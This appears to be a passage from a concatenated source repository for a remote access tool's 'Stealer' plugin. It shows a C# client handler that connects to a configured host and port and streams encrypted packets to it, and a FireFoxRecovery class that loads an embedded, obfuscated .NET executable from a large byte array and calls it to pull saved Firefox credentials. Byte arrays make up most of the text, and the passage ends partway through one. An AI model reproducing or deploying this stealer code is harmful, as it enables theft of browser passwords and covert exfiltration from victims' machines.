0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; } } ================================================ FILE: Remote Access Tool/Plugins/Stealer/ClientHandler.cs ================================================ using PacketLib; using PacketLib.Utils; using System; using System.IO; using System.Net.Sockets; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class ClientHandler : IDisposable { public Host host { get; set; } private Socket socket { get; set; } public bool Connected { get; set; } public string HWID { get; set; } public string baseIp { get; set; } public string key { get; set; } public delegate bool ConnectAsync(); private delegate int SendDataAsync(IPacket data); public ConnectAsync connectAsync; private readonly SendDataAsync sendDataAsync; public ClientHandler(Host host, string key) : base() { this.host = host; this.key = key; sendDataAsync = new SendDataAsync(SendData); } public void ConnectStart() { connectAsync = new ConnectAsync(Connect); connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null); } private bool Connect() { try { socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true); socket.Connect(host.host, host.port); return true; } catch { } return false; } public void EndConnect(IAsyncResult ar) { Connected = connectAsync.EndInvoke(ar); if (!Connected) { ConnectStart(); } } public void SendPacket(IPacket packet) { if (Connected) sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null); } private int SendData(IPacket data) { byte[] encryptedData = data.SerializePacket(this.key); int total = 0; int size = encryptedData.Length; int datalft = size; byte[] header = new byte[5]; byte[] temp = BitConverter.GetBytes(size); header[0] = temp[0]; header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; header[4] = (byte)data.PacketType; lock (socket) { try { socket.Poll(-1, SelectMode.SelectWrite); int sent = socket.Send(header); if (size > 1000000) { using (MemoryStream memoryStream = new MemoryStream(encryptedData)) { int read = 0; memoryStream.Position = 0; byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { socket.Send(chunk, 0, read, SocketFlags.None); } } } else { while (total < size) { sent = socket.Send(encryptedData, total, size, SocketFlags.None); total += sent; datalft -= sent; } } return size; } catch (Exception) { Connected = false; return 0; } } } private void SendDataCompleted(IAsyncResult ar) { int length = sendDataAsync.EndInvoke(ar); this.Dispose(); } public void Dispose() { socket.Close(); socket.Dispose(); socket = null; } } } ================================================ FILE: Remote Access Tool/Plugins/Stealer/FireFoxRecovery.cs ================================================ using System; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal static class FireFoxRecovery { internal static List Recovery() { try { if (IntPtr.Size == 8) { System.Reflection.Assembly fireFoxLoading = System.Reflection.Assembly.Load(FireFoxRecovery.fireFox); System.Reflection.MethodInfo m = fireFoxLoading.GetType("P5X7A4Q1SE.S8K7HD3").GetMethod("ZILDKNZD"); object instance = fireFoxLoading.CreateInstance(m.Name); List fireFox = (List)m.Invoke(instance, null); return fireFox; } } catch{ } return null; } internal static byte[] fireFox = { 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x02, 0x00, 0x8D, 0x78, 0xD2, 0x8D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x20, 0x0B, 0x02, 0x30, 0x00, 0x00, 0x4C, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x60, 0x85, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x88, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x6A, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x9C, 0x4A, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x4C, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x60, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, 0x88, 0x03, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x4E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x02, 0x00, 0x05, 0x00, 0x54, 0x3E, 0x00, 0x00, 0x1C, 0x2C, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x30, 0x04, 0x00, 0xC9, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x11, 0x00, 0x73, 0x12, 0x00, 0x00, 0x0A, 0x0A, 0x02, 0x28, 0x1D, 0x00, 0x00, 0x06, 0x0B, 0x07, 0x14, 0xFE, 0x01, 0x13, 0x04, 0x11, 0x04, 0x2C, 0x08, 0x06, 0x13, 0x05, 0x38, 0xA6, 0x00, 0x00, 0x00, 0x07, 0x72, 0x01, 0x00, 0x00, 0x70, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x0C, 0x08, 0x72, 0x1D, 0x00, 0x00, 0x70, 0x28, 0x2C, 0x00, 0x00, 0x06, 0x0D, 0x09, 0x14, 0xFE, 0x01, 0x13, 0x06, 0x11, 0x06, 0x2C, 0x05, 0x06, 0x13, 0x05, 0x2B, 0x7F, 0x16, 0x13, 0x07, 0x2B, 0x65, 0x00, 0x12, 0x08, 0xFE, 0x15, 0x13, 0x00, 0x00, 0x02, 0x12, 0x08, 0x09, 0x11, 0x07, 0x1B, 0x6F, 0x23, 0x00, 0x00, 0x06, 0x28, 0x15, 0x00, 0x00, 0x06, 0x28, 0x51, 0x00, 0x00, 0x06, 0x00, 0x09, 0x11, 0x07, 0x17, 0x6F, 0x23, 0x00, 0x00, 0x06, 0x28, 0x15, 0x00, 0x00, 0x06, 0x72, 0x39, 0x00, 0x00, 0x70, 0x6F, 0x14, 0x00, 0x00, 0x0A, 0x2C, 0x13, 0x12, 0x08, 0x28, 0x50, 0x00, 0x00, 0x06, 0x72, 0x39, 0x00, 0x00, 0x70, 0x28, 0x15, 0x00, 0x00, 0x0A, 0x2B, 0x01, 0x16, 0x13, 0x09, 0x11, 0x09, 0x2C, 0x0B, 0x00, 0x06, 0x11, 0x08, 0x6F, 0x16, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x11, 0x07, 0x17, 0x58, 0x13, 0x07, 0x11, 0x07, 0x09, 0x6F, 0x24, 0x00, 0x00, 0x06, 0xFE, 0x04, 0x13, 0x0A, 0x11, 0x0A, 0x2D, 0x8B, 0x06, 0x13, 0x05, 0x2B, 0x00, 0x11, 0x05, 0x2A, 0x22, 0x02, 0x28, 0x17, 0x00, 0x00, 0x0A, 0x00, 0x2A, 0x00, 0x00, 0x13, 0x30, 0x04, 0x00, 0xD5, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x11, 0x00, 0x73, 0x18, 0x00, 0x00, 0x0A, 0x0A, 0x02, 0x28, 0x1D, 0x00, 0x00, 0x06, 0x0B, 0x07, 0x14, 0xFE, 0x01, 0x13, 0x04, 0x11, 0x04, 0x2C, 0x08, 0x06, 0x13, 0x05, 0x38, 0xB2, 0x00, 0x00, 0x00, 0x07, 0x72, 0x3D, 0x00, 0x00, 0x70, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x0C, 0x08, 0x72, 0x5B, 0x00, 0x00, 0x70, 0x28, 0x2C, 0x00, 0x00, 0x06, 0x0D, 0x09, 0x14, 0xFE, 0x01, 0x13, 0x06, 0x11, 0x06, 0x2C, 0x08, 0x06, 0x13, 0x05, 0x38, 0x88, 0x00, 0x00, 0x00, 0x16, 0x13, 0x07, 0x2B, 0x6E, 0x00, 0x12, 0x08, 0xFE, 0x15, 0x11, 0x00, 0x00, 0x02, 0x12, 0x08, 0x09, 0x11, 0x07, 0x1A, 0x6F, 0x23, 0x00, 0x00, 0x06, 0x28, 0x3B, 0x00, 0x00, 0x06, 0x00, 0x12, 0x08, 0x09, 0x11, 0x07, 0x18, 0x6F, 0x23, 0x00, 0x00, 0x06, 0x28, 0x3D, 0x00, 0x00, 0x06, 0x00, 0x12, 0x08, 0x09, 0x11, 0x07, 0x19, 0x6F, 0x23, 0x00, 0x00, 0x06, 0x28, 0x45, 0x00, 0x00, 0x06, 0x00, 0x12, 0x08, 0x09, 0x11, 0x07, 0x1B, 0x6F, 0x23, 0x00, 0x00, 0x06, 0x28, 0x3F, 0x00, 0x00, 0x06, 0x00, 0x12, 0x08, 0x09, 0x11, 0x07, 0x1C, 0x6F, 0x23, 0x00, 0x00, 0x06, 0x28, 0x41, 0x00, 0x00, 0x06, 0x00, 0x06, 0x11, 0x08, 0x6F, 0x19, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x11, 0x07, 0x17, 0x58, 0x13, 0x07, 0x11, 0x07, 0x09, 0x6F, 0x24, 0x00, 0x00, 0x06, 0xFE, 0x04, 0x13, 0x09, 0x11, 0x09, 0x2D, 0x82, 0x06, 0x13, 0x05, 0x2B, 0x00, 0x11, 0x05, 0x2A, 0x22, 0x02, 0x28, 0x17, 0x00, 0x00, 0x0A, 0x00, 0x2A, 0x00, 0x00, 0x13, 0x30, 0x04, 0x00, 0xE0, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x11, 0x00, 0x73, 0x1A, 0x00, 0x00, 0x0A, 0x0A, 0x02, 0x28, 0x1D, 0x00, 0x00, 0x06, 0x0B, 0x07, 0x14, 0xFE, 0x01, 0x13, 0x04, 0x11, 0x04, 0x2C, 0x08, 0x06, 0x13, 0x05, 0x38, 0xBD, 0x00, 0x00, 0x00, 0x07, 0x72, 0x01, 0x00, 0x00, 0x70, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x0C, 0x08, 0x72, 0x73, 0x00, 0x00, 0x70, 0x28, 0x2C, 0x00, 0x00, 0x06, 0x0D, 0x09, 0x14, 0xFE, 0x01, 0x13, 0x06, 0x11, 0x06, 0x2C, 0x08, 0x06, 0x13, 0x05, 0x38, 0x93, 0x00, 0x00, 0x00, 0x16, 0x13, 0x07, 0x2B, 0x76, 0x00, 0x12, 0x08, 0xFE, 0x15, 0x12, 0x00, 0x00, 0x02, 0x12, 0x08, 0x09, 0x11, 0x07, 0x17, 0x6F, 0x23, 0x00, 0x00, 0x06, 0x28, 0x15, 0x00, 0x00, 0x06, 0x28, 0x49, 0x00, 0x00, 0x06, 0x00, 0x12, 0x08, 0x09, 0x11, 0x07, 0x18, 0x6F, 0x23, 0x00, 0x00, 0x06, 0x28, 0x15, 0x00, 0x00, 0x06, 0x28, 0x4B, 0x00, 0x00, 0x06, 0x00, 0x12, 0x08, 0x09, 0x11, 0x07, 0x1A, 0x6F, 0x23, 0x00, 0x00, 0x06, 0x28, 0x1B, 0x00, 0x00, 0x0A, 0x17, 0x58, 0x28, 0x4D, 0x00, 0x00, 0x06, 0x00, 0x12, 0x08, 0x28, 0x4A, 0x00, 0x00, 0x06, 0x72, 0x39, 0x00, 0x00, 0x70, 0x28, 0x15, 0x00, 0x00, 0x0A, 0x13, 0x09, 0x11, 0x09, 0x2C, 0x0B, 0x00, 0x06, 0x11, 0x08, 0x6F, 0x1C, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x11, 0x07, 0x17, 0x58, 0x13, 0x07, 0x11, 0x07, 0x09, 0x6F, 0x24, 0x00, 0x00, 0x06, 0xFE, 0x04, 0x13, 0x0A, 0x11, 0x0A, 0x3A, 0x77, 0xFF, 0xFF, 0xFF, 0x06, 0x13, 0x05, 0x2B, 0x00, 0x11, 0x05, 0x2A, 0x22, 0x02, 0x28, 0x17, 0x00, 0x00, 0x0A, 0x00, 0x2A, 0x00, 0x00, 0x00, 0x1B, 0x30, 0x03, 0x00, 0xB4, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x11, 0x00, 0x02, 0x73, 0x1D, 0x00, 0x00, 0x0A, 0x6F, 0x1E, 0x00, 0x00, 0x0A, 0x0A, 0x7E, 0x02, 0x00, 0x00, 0x04, 0x06, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x0B, 0x07, 0x28, 0x1F, 0x00, 0x00, 0x0A, 0x16, 0xFE, 0x01, 0x0C, 0x08, 0x2C, 0x07, 0x07, 0x28, 0x20, 0x00, 0x00, 0x0A, 0x26, 0x00, 0x7E, 0x03, 0x00, 0x00, 0x04, 0x0D, 0x16, 0x13, 0x04, 0x2B, 0x62, 0x09, 0x11, 0x04, 0x9A, 0x13, 0x05, 0x00, 0x02, 0x11, 0x05, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x13, 0x06, 0x11, 0x06, 0x28, 0x21, 0x00, 0x00, 0x0A, 0x13, 0x07, 0x11, 0x07, 0x2C, 0x15, 0x11, 0x06, 0x07, 0x11, 0x06, 0x28, 0x22, 0x00, 0x00, 0x0A, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x28, 0x23, 0x00, 0x00, 0x0A, 0x00, 0x00, 0xDE, 0x26, 0x13, 0x08, 0x00, 0x72, 0x89, 0x00, 0x00, 0x70, 0x11, 0x08, 0x25, 0x2D, 0x04, 0x26, 0x14, 0x2B, 0x05, 0x6F, 0x24, 0x00, 0x00, 0x0A, 0x28, 0x25, 0x00, 0x00, 0x0A, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x00, 0x14, 0x13, 0x09, 0xDE, 0x1C, 0x11, 0x04, 0x17, 0x58, 0x13, 0x04, 0x11, 0x04, 0x09, 0x8E, 0x69, 0x32, 0x97, 0x7E, 0x02, 0x00, 0x00, 0x04, 0x06, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x13, 0x09, 0x2B, 0x00, 0x11, 0x09, 0x2A, 0x01, 0x10, 0x00, 0x00, 0x00, 0x00, 0x3F, 0x00, 0x30, 0x6F, 0x00, 0x26, 0x12, 0x00, 0x00, 0x01, 0x13, 0x30, 0x05, 0x00, 0x82, 0x01, 0x00, 0x00, 0x05, 0x00, 0x00, 0x11, 0x00, 0x73, 0x27, 0x00, 0x00, 0x0A, 0x0A, 0x02, 0x28, 0x1D, 0x00, 0x00, 0x06, 0x0B, 0x07, 0x14, 0xFE, 0x01, 0x13, 0x08, 0x11, 0x08, 0x2C, 0x08, 0x06, 0x13, 0x09, 0x38, 0x5F, 0x01, 0x00, 0x00, 0x28, 0x1E, 0x00, 0x00, 0x06, 0x0C, 0x08, 0x14, 0xFE, 0x01, 0x13, 0x0A, 0x11, 0x0A, 0x2C, 0x08, 0x06, 0x13, 0x09, 0x38, 0x47, 0x01, 0x00, 0x00, 0x07, 0x28, 0x07, 0x00, 0x00, 0x06, 0x0D, 0x09, 0x14, 0xFE, 0x01, 0x13, 0x0B, 0x11, 0x0B, 0x2C, 0x08, 0x06, 0x13, 0x09, 0x38, 0x2E, 0x01, 0x00, 0x00, 0x09, 0x72, 0xDF, 0x00, 0x00, 0x70, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x13, 0x04, 0x11, 0x04, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x13, 0x05, 0x11, 0x05, 0x73, 0x16, 0x00, 0x00, 0x06, 0x13, 0x06, 0x11, 0x06, 0x18, 0x8D, 0x20, 0x00, 0x00, 0x01, 0x25, 0x16, 0x72, 0xF7, 0x00, 0x00, 0x70, 0xA2, 0x25, 0x17, 0x72, 0x11, 0x01, 0x00, 0x70, 0xA2, 0x6F, 0x18, 0x00, 0x00, 0x06, 0x00, 0x11, 0x06, 0x72, 0x55, 0x01, 0x00, 0x70, 0x6F, 0x19, 0x00, 0x00, 0x06, 0x13, 0x07, 0x08, 0x28, 0x11, 0x00, 0x00, 0x06, 0x13, 0x0C, 0x11, 0x0C, 0x39, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x09, 0x28, 0x13, 0x00, 0x00, 0x06, 0x16, 0xFE, 0x01, 0x13, 0x0D, 0x11, 0x0D, 0x2C, 0x0B, 0x72, 0x5B, 0x01, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x11, 0x07, 0x13, 0x0E, 0x16, 0x13, 0x0F, 0x38, 0x8D, 0x00, 0x00, 0x00, 0x11, 0x0E, 0x11, 0x0F, 0x9A, 0x13, 0x10, 0x00, 0x12, 0x11, 0xFE, 0x15, 0x10, 0x00, 0x00, 0x02, 0x11, 0x10, 0x73, 0x16, 0x00, 0x00, 0x06, 0x13, 0x12, 0x11, 0x12, 0x72, 0x89, 0x01, 0x00, 0x70, 0x6F, 0x17, 0x00, 0x00, 0x06, 0x13, 0x13, 0x11, 0x12, 0x72, 0x9B, 0x01, 0x00, 0x70, 0x6F, 0x17, 0x00, 0x00, 0x06, 0x13, 0x14, 0x11, 0x12, 0x72, 0xBF, 0x01, 0x00, 0x70, 0x6F, 0x17, 0x00, 0x00, 0x06, 0x13, 0x15, 0x11, 0x15, 0x28, 0x29, 0x00, 0x00, 0x0A, 0x16, 0xFE, 0x01, 0x13, 0x16, 0x11, 0x16, 0x2C, 0x33, 0x00, 0x12, 0x11, 0x11, 0x13, 0x28, 0x35, 0x00, 0x00, 0x06, 0x00, 0x12, 0x11, 0x11, 0x14, 0x28, 0x14, 0x00, 0x00, 0x06, 0x28, 0x37, 0x00, 0x00, 0x06, 0x00, 0x12, 0x11, 0x11, 0x15, 0x28, 0x14, 0x00, 0x00, 0x06, 0x28, 0x39, 0x00, 0x00, 0x06, 0x00, 0x06, 0x11, 0x11, 0x6F, 0x2A, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x11, 0x0F, 0x17, 0x58, 0x13, 0x0F, 0x11, 0x0F, 0x11, 0x0E, 0x8E, 0x69, 0x3F, 0x68, 0xFF, 0xFF, 0xFF, 0x28, 0x12, 0x00, 0x00, 0x06, 0x00, 0x00, 0x09, 0x17, 0x28, 0x2B, 0x00, 0x00, 0x0A, 0x00, 0x06, 0x13, 0x09, 0x2B, 0x00, 0x11, 0x09, 0x2A, 0x22, 0x02, 0x28, 0x17, 0x00, 0x00, 0x0A, 0x00, 0x2A, 0x00, 0x13, 0x30, 0x04, 0x00, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0x25, 0x28, 0x2C, 0x00, 0x00, 0x0A, 0x28, 0x2D, 0x00, 0x00, 0x0A, 0x80, 0x01, 0x00, 0x00, 0x04, 0x7E, 0x01, 0x00, 0x00, 0x04, 0x72, 0xE3, 0x01, 0x00, 0x70, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x80, 0x02, 0x00, 0x00, 0x04, 0x1A, 0x8D, 0x20, 0x00, 0x00, 0x01, 0x25, 0x16, 0x72, 0xFD, 0x01, 0x00, 0x70, 0xA2, 0x25, 0x17, 0x72, 0x0D, 0x02, 0x00, 0x70, 0xA2, 0x25, 0x18, 0x72, 0xDF, 0x00, 0x00, 0x70, 0xA2, 0x25, 0x19, 0x72, 0x1D, 0x02, 0x00, 0x70, 0xA2, 0x80, 0x03, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x28, 0x17, 0x00, 0x00, 0x0A, 0x00, 0x2A, 0x22, 0x02, 0x28, 0x17, 0x00, 0x00, 0x0A, 0x00, 0x2A, 0x22, 0x02, 0x28, 0x17, 0x00, 0x00, 0x0A, 0x00, 0x2A, 0x1B, 0x30, 0x03, 0x00, 0xD5, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x11, 0x00, 0x00, 0x02, 0x72, 0x2F, 0x02, 0x00, 0x70, 0x28, 0x25, 0x00, 0x00, 0x0A, 0x28, 0x0C, 0x00, 0x00, 0x06, 0x80, 0x05, 0x00, 0x00, 0x04, 0x02, 0x72, 0x49, 0x02, 0x00, 0x70, 0x28, 0x25, 0x00, 0x00, 0x0A, 0x28, 0x0C, 0x00, 0x00, 0x06, 0x80, 0x04, 0x00, 0x00, 0x04, 0x7E, 0x04, 0x00, 0x00, 0x04, 0x72, 0x5D, 0x02, 0x00, 0x70, 0x28, 0x0E, 0x00, 0x00, 0x06, 0x0A, 0x7E, 0x04, 0x00, 0x00, 0x04, 0x72, 0x6F, 0x02, 0x00, 0x70, 0x28, 0x0E, 0x00, 0x00, 0x06, 0x0B, 0x7E, 0x04, 0x00, 0x00, 0x04, 0x72, 0x8F, 0x02, 0x00, 0x70, 0x28, 0x0E, 0x00, 0x00, 0x06, 0x0C, 0x06, 0xD0, 0x15, 0x00, 0x00, 0x02, 0x28, 0x2E, 0x00, 0x00, 0x0A, 0x28, 0x2F, 0x00, 0x00, 0x0A, 0x74, 0x15, 0x00, 0x00, 0x02, 0x80, 0x06, 0x00, 0x00, 0x04, 0x07, 0xD0, 0x17, 0x00, 0x00, 0x02, 0x28, 0x2E, 0x00, 0x00, 0x0A, 0x28, 0x2F, 0x00, 0x00, 0x0A, 0x74, 0x17, 0x00, 0x00, 0x02, 0x80, 0x07, 0x00, 0x00, 0x04, 0x08, 0xD0, 0x16, 0x00, 0x00, 0x02, 0x28, 0x2E, 0x00, 0x00, 0x0A, 0x28, 0x2F, 0x00, 0x00, 0x0A, 0x74, 0x16, 0x00, 0x00, 0x02, 0x80, 0x08, 0x00, 0x00, 0x04, 0x17, 0x0D, 0xDE, 0x25, 0x13, 0x04, 0x00, 0x72, 0xA9, 0x02, 0x00, 0x70, 0x11, 0x04, 0x25, 0x2D, 0x04, 0x26, 0x14, 0x2B, 0x05, 0x6F, 0x24, 0x00, 0x00, 0x0A, 0x28, 0x25, 0x00, 0x00, 0x0A, 0x28, 0x30, 0x00, 0x00, 0x0A, 0x26, 0x16, 0x0D, 0xDE, 0x00, 0x09, 0x2A, 0x00, 0x00, 0x00, 0x01, 0x10, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0xAD, 0xAE, 0x00, 0x25, 0x12, 0x00, 0x00, 0x01, 0x8E, 0x00, 0x7E, 0x08, 0x00, 0x00, 0x04, 0x6F, 0x57, 0x00, 0x00, 0x06, 0x26, 0x7E, 0x04, 0x00, 0x00, 0x04, 0x28, 0x0D, 0x00, 0x00, 0x06, 0x26, 0x7E, 0x05, 0x00, 0x00, 0x04, 0x28, 0x0D, 0x00, 0x00, 0x06, 0x26, 0x2A, 0x13, 0x30, 0x02, 0x00, 0x15, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x11, 0x00, 0x7E, 0x06, 0x00, 0x00, 0x04, 0x02, 0x6F, 0x53, 0x00, 0x00, 0x06, 0x16, 0x6A, 0xFE, 0x01, 0x0A, 0x2B, 0x00, 0x06, 0x2A, 0x00, 0x00, 0x00, 0x1B, 0x30, 0x04, 0x00, 0xE2, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x11, 0x00, 0x7E, 0x31, 0x00, 0x00, 0x0A, 0x0A, 0x00, 0x02, 0x28, 0x32, 0x00, 0x00, 0x0A, 0x0B, 0x07, 0x8E, 0x69, 0x28, 0x33, 0x00, 0x00, 0x0A, 0x0A, 0x07, 0x16, 0x06, 0x07, 0x8E, 0x69, 0x28, 0x34, 0x00, 0x00, 0x0A, 0x00, 0x12, 0x02, 0xFE, 0x15, 0x14, 0x00, 0x00, 0x02, 0x12, 0x03, 0xFE, 0x15, 0x14, 0x00, 0x00, 0x02, 0x12, 0x03, 0x16, 0x7D, 0x23, 0x00, 0x00, 0x04, 0x12, 0x03, 0x06, 0x7D, 0x24, 0x00, 0x00, 